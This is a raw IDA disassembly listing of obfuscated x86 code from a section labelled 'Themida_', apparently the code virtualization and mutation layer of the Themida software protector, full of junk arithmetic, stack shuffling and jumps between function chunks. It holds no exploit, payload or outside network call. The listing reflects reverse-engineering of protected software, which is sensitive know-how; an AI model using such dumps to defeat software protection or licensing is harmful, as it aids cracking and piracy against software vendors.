loc_59C825:				; CODE XREF: sub_59390B-1C5Dj
		sub	edx, 7EF756B1h
		add	edx, 9A5B52h
		push	ecx
		mov	ecx, 0
		add	ecx, 15254483h
		jmp	loc_5A56AC
; ---------------------------------------------------------------------------


loc_59C842:				; CODE XREF: sub_59390B-A79j
		shr	esi, 2
		neg	esi
		jmp	loc_5913F6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_59C84C:				; CODE XREF: sub_5A17BF-F40Fj
		shr	esi, 6
		add	esi, 32BC3A4Bh
		xor	esi, 0B840770h
		xor	esi, 72E8785Ch
		sub	esi, 3995AFA5h
		sub	eax, esi
		pop	esi
		push	[esp+4+var_4]
		jmp	loc_5A58BE
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_59C872:				; CODE XREF: Themida_:005A1F18j
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_596EEB
; ---------------------------------------------------------------------------


loc_59C87C:				; CODE XREF: Themida_:00596341j
		add	edi, edx
		sub	edi, 3A1C7A5Bh
		mov	edx, [esp]
		jmp	loc_596D18
; ---------------------------------------------------------------------------


loc_59C88C:				; CODE XREF: Themida_:0059723Ej
		mov	edi, esp
		add	edi, 4
		jmp	loc_59A600
; ---------------------------------------------------------------------------


loc_59C899:				; CODE XREF: Themida_:00597A45j
		push	ebp
		mov	ebp, 34BB40AEh
		jmp	loc_598153

; =============== S U B	R O U T	I N E =======================================



sub_59C8A4	proc near		; CODE XREF: sub_59390B-26FEj

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005912AA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005919E9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592785 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596225 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059741D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059864F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CFEF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059F03D SIZE 0000001D BYTES

		push	ebx
		jmp	loc_59F03D
sub_59C8A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_59C8AA:				; CODE XREF: sub_59EA40-61D7j
		mov	[esp+8+var_8], edx
		jmp	loc_597D9E
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------


loc_59C8B2:				; CODE XREF: Themida_:005943ADj
		xor	ebp, 394E26E7h
		and	ebp, 498310B2h
		dec	ebp
		and	ebp, 333850D3h
		add	ebp, 1C095ABAh
		add	edi, ebp
		pop	ebp
		add	edi, eax
		sub	edi, 1D095B0Dh
		jmp	loc_59FDB4
; ---------------------------------------------------------------------------


loc_59C8DB:				; CODE XREF: Themida_:00597D48j
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 5B537490h
		add	edi, esi
		sub	edi, 5B537490h
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		mov	eax, 2
		add	edi, 623CBDh
		jmp	loc_5A52FB
; ---------------------------------------------------------------------------


loc_59C91C:				; CODE XREF: Themida_:0059EA7Ej
		sub	ecx, 496843BFh
		push	ecx
		pop	esi
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	228Eh
		mov	[esp], esi
		mov	esi, 10324A27h
		or	esi, 6DE92402h
		sub	esi, 1C1F6DBEh
		jmp	loc_5A311C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59C956:				; CODE XREF: sub_59918B+29C5j
		mov	esp, [esp-10h+arg_C]
		jmp	loc_59BFB1
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_59C95E:				; CODE XREF: Themida_:005974ADj
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 36A96634h
		sub	esi, edi
		push	eax
		mov	eax, 453256CCh
		jmp	loc_593A92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C979:				; CODE XREF: sub_59390B+D76Bj
		xchg	ebx, [esp-14h+arg_C]
		pop	esp
		sub	byte ptr [esp-18h+arg_10], al
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C986:				; CODE XREF: Themida_:005A1A93j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_59C98B:				; CODE XREF: sub_59CAFB-7B19j
		sub	eax, 0E038A860h
		push	ecx
		jmp	loc_5A42B9
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59C996:				; CODE XREF: sub_5A4CDD-DA4Ej
		not	[esp-4+arg_0]
		push	[esp-4+arg_0]
		jmp	loc_5992DB
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59C9A1:				; CODE XREF: sub_591FC5+166Ej
		sub	ah, 0A9h
		sub	cl, 0CCh
		sub	cl, ah
		add	cl, 0CCh
		pop	eax
		push	eax
		jmp	loc_596F59
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_59C9B3:				; CODE XREF: Themida_:0059A2F4j
		pop	eax
		push	116h
		mov	[esp], edi
		sub	dword ptr [esp], 3DB439C4h
		pop	ebx
		jmp	loc_5927C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917E1


loc_59C9C9:				; CODE XREF: sub_5917E1+12679j
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5917E1
; ---------------------------------------------------------------------------


loc_59C9D8:				; CODE XREF: Themida_:005998BEj
		add	esi, 1
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_59C0A3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59C9F9:				; CODE XREF: Themida_:0059DF73j
		pop	edi
		add	ebx, 17D21C0Eh
		add	ebx, 790F7C3Dh
		add	ebx, eax
		sub	ebx, 790F7C3Dh
		sub	ebx, 17D21C0Eh
		pop	eax
		push	ecx
		push	edx
		jmp	loc_598644
; ---------------------------------------------------------------------------


loc_59CA1C:				; CODE XREF: Themida_:005921F9j
		add	edx, 53FA5B79h
		xor	edx, 0F25BD404h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7D5915B3h
		add	esi, edi
		pop	edi
		add	esi, 6C2234A9h
		add	esi, edx
		sub	esi, 6C2234A9h
		jmp	loc_5955A3
; ---------------------------------------------------------------------------


loc_59CA4C:				; CODE XREF: Themida_:00597A25j
		pop	edx
		push	ebx
		mov	ebx, 18060B0Fh
		add	ecx, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_592FBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59CA5E:				; CODE XREF: sub_59A75E-3C47j
		pop	edi
		pop	ebp
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		push	edx
		mov	edx, 1F997701h
		mov	ebx, edx
		pop	edx
		jmp	loc_5911D8
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CA80:				; CODE XREF: sub_59390B+AE6Bj
		mov	[esp-14h+arg_C], eax
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59CA88:				; CODE XREF: sub_590AC5+F3EDj
		add	ebp, 4
		jmp	loc_59B68F
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CA90:				; CODE XREF: sub_59390B+E222j
		or	eax, 75D5176Fh
		inc	eax
		not	eax
		neg	eax
		not	eax
		sub	eax, 8808C08Ah
		add	esi, eax
		jmp	loc_5A2C06
; ---------------------------------------------------------------------------


loc_59CAA8:				; CODE XREF: sub_59390B+D3A7j
		mov	[esp-14h+arg_C], esp
		add	[esp-14h+arg_C], 4
		pop	edi
		push	eax
		jmp	loc_59D6A4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59731A


loc_59CAB9:				; CODE XREF: sub_59731A+9j
		push	eax
		push	0D196C28h
		jmp	loc_59BCE1
; END OF FUNCTION CHUNK	FOR sub_59731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5999A4


loc_59CAC4:				; CODE XREF: sub_5999A4+9j
		xchg	eax, ecx
		not	ecx
		jmp	loc_59C366
; END OF FUNCTION CHUNK	FOR sub_5999A4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5925FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_59CAE4:				; CODE XREF: sub_5A23FB-B268j
		or	eax, 79C87446h
		add	eax, 1408B5h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5A23FB

; =============== S U B	R O U T	I N E =======================================



sub_59CAFB	proc near		; CODE XREF: sub_5A23FB-A87Ej
					; sub_59390B+ECC5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005919BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592921 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059322D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005934B2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593669 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594FDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595689 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595E4F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00596703 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596A10 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00597DF6 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00598F28 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598FF7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AA79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B355 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059C98B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D265 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E817 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F366 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0342 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A06CA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A08EE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A0F4B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1132 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A13B9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A15E6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1D62 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2451 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2748 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A31E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A42B9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4503 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A501F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A56D1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5B04 SIZE 00000026 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		pop	edx
		push	edx
		sub	[esp+8+var_8], 0B25344Ah
		push	[esp+8+var_8]
		pop	eax
		jmp	loc_5A4503
sub_59CAFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CB1C:				; CODE XREF: sub_59390B+7FFBj
		xor	edi, ecx
		pop	ecx
		add	ecx, 29111F27h
		sub	ecx, edi
		jmp	loc_594879
; ---------------------------------------------------------------------------


loc_59CB2C:				; CODE XREF: sub_59390B+D383j
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebx
		jmp	loc_59DBE4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CB3C:				; CODE XREF: Themida_:00591690j
		mov	[esp], ebp
		push	4B5E6795h
		pop	ebp
		jmp	loc_598600
; ---------------------------------------------------------------------------


loc_59CB4A:				; CODE XREF: Themida_:00590D63j
		not	ebp
		jmp	loc_5923EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_59CB51:				; CODE XREF: sub_59AB43-1B51j
		mov	ebp, [esp+0]
		add	esp, 4
		or	eax, 59707A8Ah
		sub	eax, 5A3E7B80h
		jmp	loc_59492F
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CB66:				; CODE XREF: sub_59390B+9292j
		pop	ebx
		add	esp, 4
		xchg	ecx, [esp-0Ch+arg_4]
		mov	esp, [esp-0Ch+arg_4]
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_59B29D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CB7E:				; CODE XREF: Themida_:005A59EFj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A1FD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59CB89:				; CODE XREF: sub_59A431-5EECj
		pop	ecx
		jmp	loc_5A22ED
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CB8F:				; CODE XREF: sub_59390B+A5B8j
		add	esi, 853386BBh
		add	ebx, esi
		pop	esi
		add	ecx, ebx
		push	[esp-10h+arg_8]
		jmp	loc_59CB66
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_59CBA2:				; CODE XREF: sub_595BAD+CF7Dj
		or	edx, 5E452D40h
		xor	edx, 59C53818h
		jmp	loc_5956B6
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_59CBB3:				; CODE XREF: Themida_:005A398Dj
		pop	cx
		dec	bh
		jmp	loc_59325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_59CBBC:				; CODE XREF: sub_5A17BF-EBC8j
		add	ebx, 1
		push	ebp
		mov	ebp, 0E44911A2h
		add	ebx, 565947E2h
		sub	ebx, ebp
		sub	ebx, 565947E2h
		jmp	loc_5A0024
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CBD8:				; CODE XREF: sub_59390B-23ECj
		mov	eax, [esp-8+arg_0]
		jmp	loc_596895
; ---------------------------------------------------------------------------


loc_59CBE0:				; CODE XREF: sub_59390B+5F3Dj
		add	edi, eax
		pop	eax
		jmp	loc_5A3155
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CBE8:				; CODE XREF: Themida_:00590FDBj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_598B8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59CC03:				; CODE XREF: sub_5936EC+A1E5j
		mov	eax, 139763F8h
		jmp	loc_59B0CA
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_59CC0D:				; CODE XREF: Themida_:005A583Bj
		add	esp, 4
		shr	edi, 7
		jmp	loc_59BE0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59386B


loc_59CC18:				; CODE XREF: sub_59386B+9j
		or	ebp, 4E2852FCh
		add	ebp, 56327A03h
		mov	edi, ebp
		pop	ebp
		add	edi, edx
		pop	edx
		jmp	loc_59B9AA
; END OF FUNCTION CHUNK	FOR sub_59386B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_59CC2F:				; CODE XREF: sub_592586+11F4Fj
		add	esp, 4
		add	ebx, eax
		jmp	loc_5950B6
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------


loc_59CC39:				; CODE XREF: Themida_:005A2896j
		add	eax, 2243071Eh
		sub	eax, 7F460085h
		add	eax, ebp
		add	eax, 7F460085h
		push	edx
		jmp	loc_598D21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CC50:				; CODE XREF: sub_59390B+47F5j
		push	[esp+10h+var_10]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		jmp	loc_5A2226
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CC68:				; CODE XREF: Themida_:00595917j
		add	ebp, 72D82032h
		sub	ebp, 8DFE730Ch
		mov	esi, ebp
		pop	ebp
		jmp	loc_59E1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58F3


loc_59CC7C:				; CODE XREF: sub_5A58F3-7EFj
		pop	esp
		mov	[esp+0], esi
		push	eax
		push	edi
		mov	edi, 4F795879h
		or	edi, 62EE709Ah
		shr	edi, 3
		not	edi
		or	edi, 5F1C11BDh
		add	edi, 57EE1959h
		mov	eax, edi
		pop	edi
		shr	eax, 2
		push	ebp
		push	eax
		mov	eax, 55103C91h
		mov	ebp, 582731C2h
		xor	ebp, eax
		pop	eax
		jmp	sub_5999E6
; END OF FUNCTION CHUNK	FOR sub_5A58F3
; ---------------------------------------------------------------------------


loc_59CCB8:				; CODE XREF: Themida_:005A1EA8j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CCC3:				; CODE XREF: sub_59390B+2A91j
		mov	eax, 1F9214Eh
		add	esi, eax
		pop	eax
		jmp	loc_59E000
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CCD0:				; CODE XREF: Themida_:0059F3B6j
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 2BD238CEh
		jmp	loc_5A5767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CCEB:				; CODE XREF: sub_59390B+11CCFj
		mov	bp, 5F5Bh
		shr	bp, 2
		shr	bp, 5
		neg	bp
		or	bp, 3E52h
		jmp	loc_5992B0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_59CD04:				; CODE XREF: sub_59A958-48D0j
		mov	esp, [esp+0]
		add	esi, ebp
		push	edx
		mov	edx, 2B414E74h
		sub	esi, 49F94ABAh
		add	esi, edx
		jmp	loc_594D26
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------


loc_59CD1C:				; CODE XREF: Themida_:005967C2j
		add	edi, 5866981Ah
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 79314487h
		sub	esi, 0AE20C01h
		add	esi, eax
		add	esi, 0AE20C01h
		sub	esi, 79314487h
		pop	eax
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_595907
; ---------------------------------------------------------------------------


loc_59CD56:				; CODE XREF: Themida_:00598B90j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 27887610h
		add	eax, ebp
		jmp	loc_5A4EFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_59CD67:				; CODE XREF: sub_5A0733-6C57j
		mov	[esp+4+var_4], edi
		push	5627h
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5A1505
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_59CD80:				; CODE XREF: Themida_:005A0195j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_599D3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59CD91:				; CODE XREF: sub_59FCCB-B213j
		sub	bl, cl
		jmp	loc_5A23F4
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_59CD98:				; CODE XREF: Themida_:005A34F1j
		mov	[esp], ecx
		jmp	loc_59A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59CDA0:				; CODE XREF: sub_5A4CDD-1DF2j
		mov	ecx, 2C292C96h
		push	ebx
		mov	ebx, 0CBE07A1h
		jmp	loc_59DCF6
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CDB0:				; CODE XREF: sub_59390B+12148j
		pop	dword ptr [esp+0]
		push	5D6Eh
		jmp	loc_59752E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CDBD:				; CODE XREF: Themida_:005A36E0j
		xor	dl, 47h
		sub	dl, 7Bh
		add	bl, dl
		jmp	loc_592EDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_59CDCA:				; CODE XREF: sub_59B2AF+5DFCj
		add	ecx, 50D675C1h
		shr	ecx, 5
		xor	ecx, 4E9D2C9Fh
		sub	ebp, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	esi, 6C930515h
		add	esi, ebp
		jmp	loc_5A04C0
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CDEE:				; CODE XREF: sub_59390B+30A6j
		pop	edi
		jmp	loc_5A32DC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CDF4:				; CODE XREF: Themida_:00593431j
		pop	edx
		xor	ecx, 1AC71A3Ch
		add	edi, 68CC217Ch
		sub	edi, ecx
		push	2CFFh
		mov	[esp], esi
		mov	esi, 20341A93h
		sub	esi, 0B767F917h
		add	edi, 7B106ECCh
		jmp	loc_59A021
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CE21:				; CODE XREF: sub_59390B+10FFDj
		sub	esi, 58417BD7h
		not	esi
		sub	esi, 70F46853h
		sub	eax, esi
		pop	esi
		push	eax
		mov	eax, 4B6802E9h
		or	eax, 3665807h
		add	eax, 66D02F39h
		xor	eax, 0A1E4EB3Fh
		add	edi, eax
		pop	eax
		jmp	loc_5A5641
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CE4F:				; CODE XREF: Themida_:00591EF6j
		mov	[esp], ebp
		jmp	loc_598A17
; ---------------------------------------------------------------------------


loc_59CE57:				; CODE XREF: Themida_:0059B1A8j
		sub	esp, 4
		mov	[esp], ebp
		push	2
		pop	ebp
		push	ecx
		mov	ecx, 64D43AFAh
		or	ecx, 1A692CC8h
		add	ecx, 0D81E322Eh
		add	edx, ecx
		jmp	loc_597D68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_59CE7C:				; CODE XREF: sub_595BAD-4C9j
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		add	edi, edx
		sub	edi, 28F50733h
		pop	edx
		sub	edi, 4573456Ah
		add	edi, ecx
		jmp	loc_5A1942
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_59CE98:				; CODE XREF: Themida_:0059C754j
		mov	[esp], esp
		jmp	loc_592967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59CEA0:				; CODE XREF: sub_59CFD4+704Bj
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		jmp	loc_5A10F7
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_59CEB8:				; CODE XREF: Themida_:0059A83Bj
		mov	ebp, 24C127F6h
		sub	ebp, 24C127F2h
		jmp	loc_59FEB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CEC8:				; CODE XREF: sub_59390B-5D2j
		pop	edi
		mov	edx, 5C8C13CBh
		xor	edx, eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_59997D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_59CEDE:				; CODE XREF: sub_599F38-160Cj
		add	ebp, 2
		xor	ebp, [esp+0]
		jmp	loc_5953F1
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CEEC:				; CODE XREF: sub_59390B+D5E2j
		mov	edi, [esp-8+arg_0]
		jmp	loc_5981A2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59CEF4:				; CODE XREF: sub_594D13+6j
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_5A5BA7
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_59CF01:				; CODE XREF: Themida_:00591A2Ej
		mov	[esp], edx
		jmp	loc_59AD93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_59CF09:				; CODE XREF: sub_59EA40-BC68j
		add	esp, 4
		add	esi, 4
		push	ecx
		push	edi
		push	2C7B70EDh
		pop	edi
		jmp	loc_5A1D8A
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CF1F:				; CODE XREF: sub_59390B+11AD6j
		shl	dh, 3
		add	dh, 1Ah
		sub	al, dh
		pop	edx
		jmp	loc_59BE38
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CF2D:				; CODE XREF: Themida_:0059A5FBj
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_590A9B

; =============== S U B	R O U T	I N E =======================================



sub_59CF38	proc near		; CODE XREF: sub_5A1E76-1FFDj

; FUNCTION CHUNK AT 00595BA3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059974D SIZE 0000000D BYTES

		push	ebx
		jmp	loc_595BA3
sub_59CF38	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_59CF3E:				; CODE XREF: sub_5A2801-6912j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5985B7
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------


loc_59CF4F:				; CODE XREF: Themida_:00590B13j
		push	esi
		mov	esi, 258C48A7h
		shr	esi, 1
		sub	esi, 79F40EC5h
		not	esi
		shr	esi, 6
		xor	esi, 1ECAAE77h
		sub	edi, esi
		pop	esi
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	bl, al
		jmp	loc_5A1CFF
; ---------------------------------------------------------------------------


loc_59CF7D:				; CODE XREF: Themida_:00596990j
		add	esp, 4
		push	ecx
		jmp	loc_59D679
; ---------------------------------------------------------------------------


loc_59CF86:				; CODE XREF: Themida_:00599FAFj
		mov	esp, [esp]
		jmp	loc_59E115
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_59CF8E:				; CODE XREF: sub_59D1FC+72AEj
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_59B7BA
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
